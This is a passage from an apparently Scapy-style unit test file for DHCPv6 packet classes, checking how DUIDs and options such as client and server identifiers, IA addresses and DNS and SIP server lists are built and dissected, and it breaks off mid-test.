'\x00\x02\x11\x11\x11\x11iamastring' = DUID_EN basic dissection a=DUID_EN('\x00\x02\x00\x00\x017') a.type == 2 and a.enterprisenum == 311 = DUID_EN dissection with specific values a=DUID_EN('\x00\x02\x11\x11\x11\x11iamastring') a.type == 2 and a.enterprisenum == 0x11111111 and a.id =="iamastring" ##################################################################### + Test DHCP6 DUID_LL = DUID_LL basic instantiation a=DUID_LL() = DUID_LL basic build str(DUID_LL()) == '\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DUID_LL build with specific values str(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == '\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff' = DUID_LL basic dissection a=DUID_LL(str(DUID_LL())) a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00" = DUID_LL with specific values a=DUID_LL('\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff') a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 Opt Unknown = DHCP6 Opt Unknown basic instantiation a=DHCP6OptUnknown() = DHCP6 Opt Unknown basic build (default values) str(DHCP6OptUnknown()) == '\x00\x00\x00\x00' = DHCP6 Opt Unknown - len computation test str(DHCP6OptUnknown(data="shouldbe9")) == '\x00\x00\x00\tshouldbe9' ##################################################################### + Test DHCP6 Client Identifier option = DHCP6OptClientId basic instantiation a=DHCP6OptClientId() = DHCP6OptClientId basic build str(DHCP6OptClientId()) == '\x00\x01\x00\x00' = DHCP6OptClientId instantiation with specific values str(DHCP6OptClientId(duid="toto")) == '\x00\x01\x00\x04toto' = DHCP6OptClientId instantiation with DUID_LL str(DHCP6OptClientId(duid=DUID_LL())) == '\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_LLT str(DHCP6OptClientId(duid=DUID_LLT())) == '\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_EN str(DHCP6OptClientId(duid=DUID_EN())) == '\x00\x01\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptClientId instantiation with specified length str(DHCP6OptClientId(optlen=80, duid="somestring")) == '\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId('\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId instantiation with specified length str(DHCP6OptClientId(optlen=80, duid="somestring")) == '\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId('\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId dissection with specific duid value a=DHCP6OptClientId('\x00\x01\x00\x04somestring') a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == 'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptClientId dissection with specific DUID_LL as duid value a=DHCP6OptClientId('\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_LLT as duid value a=DHCP6OptClientId('\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_EN as duid value a=DHCP6OptClientId('\x00\x01\x00\x06\x00\x02\x00\x00\x017') a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == "" ##################################################################### + Test DHCP6 Server Identifier option = DHCP6OptServerId basic instantiation a=DHCP6OptServerId() = DHCP6OptServerId basic build str(DHCP6OptServerId()) == '\x00\x02\x00\x00' = DHCP6OptServerId basic build with specific values str(DHCP6OptServerId(duid="toto")) == '\x00\x02\x00\x04toto' = DHCP6OptServerId instantiation with DUID_LL str(DHCP6OptServerId(duid=DUID_LL())) == '\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_LLT str(DHCP6OptServerId(duid=DUID_LLT())) == '\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_EN str(DHCP6OptServerId(duid=DUID_EN())) == '\x00\x02\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptServerId instantiation with specified length str(DHCP6OptServerId(optlen=80, duid="somestring")) == '\x00\x02\x00Psomestring' = DHCP6OptServerId basic dissection a=DHCP6OptServerId('\x00\x02\x00\x00') a.optcode == 2 and a.optlen == 0 = DHCP6OptServerId dissection with specific duid value a=DHCP6OptServerId('\x00\x02\x00\x04somestring') a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == 'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptServerId dissection with specific DUID_LL as duid value a=DHCP6OptServerId('\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_LLT as duid value a=DHCP6OptServerId('\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_EN as duid value a=DHCP6OptServerId('\x00\x02\x00\x06\x00\x02\x00\x00\x017') a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == "" ##################################################################### + Test DHCP6 IA Address Option (IA_TA or IA_NA suboption) = DHCP6OptIAAddress - Basic Instantiation str(DHCP6OptIAAddress()) == '\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAAddress - Basic Dissection a = DHCP6OptIAAddress('\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaaddropts == "" = DHCP6OptIAAddress - Instantiation with specific values str(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == '\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Instantiation with specific values (default optlen computation) str(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == '\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Dissection with specific values a = DHCP6OptIAAddress('\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring') a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaaddropts == "somestring" ##################################################################### + Test DHCP6 Identity Association for Non-temporary Addresses Option = DHCP6OptIA_NA - Basic Instantiation str(DHCP6OptIA_NA()) == '\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Basic Dissection a = DHCP6OptIA_NA('\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == [] = DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) str(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == '\x00\x03\x00\x0c""""3333DDDD' = DHCP6OptIA_NA - Instantiation with specific values (forced optlen) str(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == '\x00\x03\x11\x11""""3333DDDD' = DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation) str(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == '\x00\x03\x00D""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Dissection with specific values a = DHCP6OptIA_NA('\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Identity Association for Temporary Addresses Option = DHCP6OptIA_TA - Basic Instantiation str(DHCP6OptIA_TA()) == '\x00\x04\x00\x04\x00\x00\x00\x00' = DHCP6OptIA_TA - Basic Dissection a = DHCP6OptIA_TA('\x00\x04\x00\x04\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == [] = DHCP6OptIA_TA - Instantiation with specific values str(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == '\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_TA - Dissection with specific values a = DHCP6OptIA_TA('\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Option Request Option = DHCP6OptOptReq - Basic Instantiation str(DHCP6OptOptReq()) == '\x00\x06\x00\x04\x00\x17\x00\x18' = DHCP6OptOptReq - optlen field computation str(DHCP6OptOptReq(reqopts=[1,2,3,4])) == '\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptOptReq - instantiation with empty list str(DHCP6OptOptReq(reqopts=[])) == '\x00\x06\x00\x00' = DHCP6OptOptReq - Basic dissection a=DHCP6OptOptReq('\x00\x06\x00\x00') a.optcode == 6 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptOptReq - Dissection with specific value a=DHCP6OptOptReq('\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Option - Preference option = DHCP6OptPref - Basic instantiation str(DHCP6OptPref()) == '\x00\x07\x00\x01\xff' = DHCP6OptPref - Instantiation with specific values str(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == '\x00\x07\xff\xff\x11' = DHCP6OptPref - Basic Dissection a=DHCP6OptPref('\x00\x07\x00\x01\xff') a.optcode == 7 and a.optlen == 1 and a.prefval == 255 = DHCP6OptPref - Dissection with specific values a=DHCP6OptPref('\x00\x07\xff\xff\x11') a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11 ##################################################################### + Test DHCP6 Option - Elapsed Time = DHCP6OptElapsedTime - Basic Instantiation str(DHCP6OptElapsedTime()) == '\x00\x08\x00\x02\x00\x00' = DHCP6OptElapsedTime - Instantiation with specific elapsedtime value str(DHCP6OptElapsedTime(elapsedtime=421)) == '\x00\x08\x00\x02\x01\xa5' = DHCP6OptElapsedTime - Basic Dissection a=DHCP6OptElapsedTime('\x00\x08\x00\x02\x00\x00') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0 = DHCP6OptElapsedTime - Dissection with specific values a=DHCP6OptElapsedTime('\x00\x08\x00\x02\x01\xa5') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421 ##################################################################### + Test DHCP6 Option - Server Unicast Address = DHCP6OptServerUnicast - Basic Instantiation str(DHCP6OptServerUnicast()) == '\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerUnicast - Instantiation with specific values (test 1) str(DHCP6OptServerUnicast(srvaddr="2001::1")) == '\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Instantiation with specific values (test 2) str(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == '\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Dissection with default values a=DHCP6OptServerUnicast('\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::" = DHCP6OptServerUnicast - Dissection with specific values (test 1) a=DHCP6OptServerUnicast('\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1" = DHCP6OptServerUnicast - Dissection with specific values (test 2) a=DHCP6OptServerUnicast('\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1" ##################################################################### + Test DHCP6 Option - Status Code = DHCP6OptStatusCode - Basic Instantiation str(DHCP6OptStatusCode()) == '\x00\r\x00\x02\x00\x00' = DHCP6OptStatusCode - Instantiation with specific values str(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == '\x00\r\x00*\x00\xffHello' = DHCP6OptStatusCode - Automatic Length computation str(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == '\x00\r\x00\x07\x00\xffHello' # Add tests to verify Unicode behavior ##################################################################### + Test DHCP6 Option - Rapid Commit = DHCP6OptRapidCommit - Basic Instantiation str(DHCP6OptRapidCommit()) == '\x00\x0e\x00\x00' = DHCP6OptRapidCommit - Basic Dissection a=DHCP6OptRapidCommit('\x00\x0e\x00\x00') a.optcode == 14 and a.optlen == 0 ##################################################################### + Test DHCP6 Option - User class = DHCP6OptUserClass - Basic Instantiation str(DHCP6OptUserClass()) == '\x00\x0f\x00\x00' = DHCP6OptUserClass - Basic Dissection a = DHCP6OptUserClass('\x00\x0f\x00\x00') a.optcode == 15 and a.optlen == 0 and a.userclassdata == [] = DHCP6OptUserClass - Instantiation with one user class data structure str(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == '\x00\x0f\x00\x0b\x00\tsomething' = DHCP6OptUserClass - Dissection with one user class data structure a = DHCP6OptUserClass('\x00\x0f\x00\x0b\x00\tsomething') a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == 'something' = DHCP6OptUserClass - Instantiation with two user class data structures str(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == '\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse' = DHCP6OptUserClass - Dissection with two user class data structures a = DHCP6OptUserClass('\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse') a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == 'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == 'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor class = DHCP6OptVendorClass - Basic Instantiation str(DHCP6OptVendorClass()) == '\x00\x10\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorClass - Basic Dissection a = DHCP6OptVendorClass('\x00\x10\x00\x04\x00\x00\x00\x00') a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == [] = DHCP6OptVendorClass - Instantiation with one vendor class data structure str(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == '\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething' = DHCP6OptVendorClass - Dissection with one vendor class data structure a = DHCP6OptVendorClass('\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething') a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == 'something' = DHCP6OptVendorClass - Instantiation with two vendor class data structures str(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == '\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse' = DHCP6OptVendorClass - Dissection with two vendor class data structures a = DHCP6OptVendorClass('\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse') a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == 'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == 'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor-specific information = DHCP6OptVendorSpecificInfo - Basic Instantiation str(DHCP6OptVendorSpecificInfo()) == '\x00\x11\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorSpecificInfo - Basic Dissection a = DHCP6OptVendorSpecificInfo('\x00\x11\x00\x04\x00\x00\x00\x00') a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0 = DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option) str(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == '\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option) a = DHCP6OptVendorSpecificInfo('\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething') a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == 'something' = DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options) str(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == '\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options) a = DHCP6OptVendorSpecificInfo('\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse') a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == 'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == 'somethingelse' ##################################################################### + Test DHCP6 Option - Interface-Id = DHCP6OptIfaceId - Basic Instantiation str(DHCP6OptIfaceId()) == '\x00\x12\x00\x00' = DHCP6OptIfaceId - Basic Dissection a = DHCP6OptIfaceId('\x00\x12\x00\x00') a.optcode == 18 and a.optlen == 0 = DHCP6OptIfaceId - Instantiation with specific value str(DHCP6OptIfaceId(ifaceid="something")) == '\x00\x12\x00\x09something' = DHCP6OptIfaceId - Dissection with specific value a = DHCP6OptIfaceId('\x00\x12\x00\x09something') a.optcode == 18 and a.optlen == 9 and a.ifaceid == "something" ##################################################################### + Test DHCP6 Option - Reconfigure Message = DHCP6OptReconfMsg - Basic Instantiation str(DHCP6OptReconfMsg()) == '\x00\x13\x00\x01\x0b' = DHCP6OptReconfMsg - Basic Dissection a = DHCP6OptReconfMsg('\x00\x13\x00\x01\x0b') a.optcode == 19 and a.optlen == 1 and a.msgtype == 11 = DHCP6OptReconfMsg - Instantiation with specific values str(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == '\x00\x13\x00\x04\x05' = DHCP6OptReconfMsg - Dissection with specific values a = DHCP6OptReconfMsg('\x00\x13\x00\x04\x05') a.optcode == 19 and a.optlen == 4 and a.msgtype == 5 ##################################################################### + Test DHCP6 Option - Reconfigure Accept = DHCP6OptReconfAccept - Basic Instantiation str(DHCP6OptReconfAccept()) == '\x00\x14\x00\x00' = DHCP6OptReconfAccept - Basic Dissection a = DHCP6OptReconfAccept('\x00\x14\x00\x00') a.optcode == 20 and a.optlen == 0 = DHCP6OptReconfAccept - Instantiation with specific values str(DHCP6OptReconfAccept(optlen=23)) == '\x00\x14\x00\x17' = DHCP6OptReconfAccept - Dssection with specific values a = DHCP6OptReconfAccept('\x00\x14\x00\x17') a.optcode == 20 and a.optlen == 23 ##################################################################### + Test DHCP6 Option - SIP Servers Domain Name List = DHCP6OptSIPDomains - Basic Instantiation str(DHCP6OptSIPDomains()) == '\x00\x15\x00\x00' = DHCP6OptSIPDomains - Basic Dissection a = DHCP6OptSIPDomains('\x00\x15\x00\x00') a.optcode == 21 and a.optlen == 0 and a.sipdomains == [] = DHCP6OptSIPDomains - Instantiation with one domain str(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == '\x00\x15\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with one domain a = DHCP6OptSIPDomains('\x00\x15\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == "toto.example.org." = DHCP6OptSIPDomains - Instantiation with two domains str(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == '\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with two domains a = DHCP6OptSIPDomains('\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00') a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == "toto.example.org." and a.sipdomains[1] == "TITI.example.org." = DHCP6OptSIPDomains - Enforcing only one dot at end of domain str(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == '\x00\x15\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SIP Servers IPv6 Address List = DHCP6OptSIPServers - Basic Instantiation str(DHCP6OptSIPServers()) == '\x00\x16\x00\x00' = DHCP6OptSIPServers - Basic Dissection a = DHCP6OptSIPServers('\x00\x16\x00\x00') a.optcode == 22 and a. optlen == 0 and a.sipservers == [] = DHCP6OptSIPServers - Instantiation with specific values (1 address) str(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == '\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSIPServers - Dissection with specific values (1 address) a = DHCP6OptSIPServers('\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" = DHCP6OptSIPServers - Instantiation with specific values (2 addresses) str(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSIPServers - Dissection with specific values (2 addresses) a = DHCP6OptSIPServers('\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Recursive Name Server = DHCP6OptDNSServers - Basic Instantiation str(DHCP6OptDNSServers()) == '\x00\x17\x00\x00' = DHCP6OptDNSServers - Basic Dissection a = DHCP6OptDNSServers('\x00\x17\x00\x00') a.optcode == 23 and a. optlen == 0 and a.dnsservers == [] = DHCP6OptDNSServers - Instantiation with specific values (1 address) str(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == '\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptDNSServers - Dissection with specific values (1 address) a = DHCP6OptDNSServers('\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" = DHCP6OptDNSServers - Instantiation with specific values (2 addresses) str(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptDNSServers - Dissection with specific values (2 addresses) a = DHCP6OptDNSServers('\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Domain Search List Option = DHCP6OptDNSDomains - Basic Instantiation str(DHCP6OptDNSDomains()) == '\x00\x18\x00\x00' = DHCP6OptDNSDomains - Basic Dissection a = DHCP6OptDNSDomains('\x00\x18\x00\x00') a.optcode == 24 and a.optlen == 0 and a.dnsdomains == [] = DHCP6OptDNSDomains - Instantiation with specific values (1 domain) str(DHCP6OptDNSDomains(dnsdomains=["toto.example.com."])) == '\x00\x18\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (1 domain) a = DHCP6OptDNSDomains('\x00\x18\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == "toto.example.com." = DHCP6OptDNSDomains - Instantiation with specific values (2 domains) str(DHCP6OptDNSDomains(dnsdomains=["toto.example.com.", "titi.example.com."])) == '\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (2 domains) a = DHCP6OptDNSDomains('\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == "toto.example.com." and a.dnsdomains[1] == "titi.example.com." ##################################################################### + Test DHCP6 Option - IA_PD Prefix Option = DHCP6OptIAPrefix - Basic Instantiation str(DHCP6OptIAPrefix()) == '\x00\x1a\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - Identity Association for Prefix Delegation = DHCP6OptIA_PD - Basic 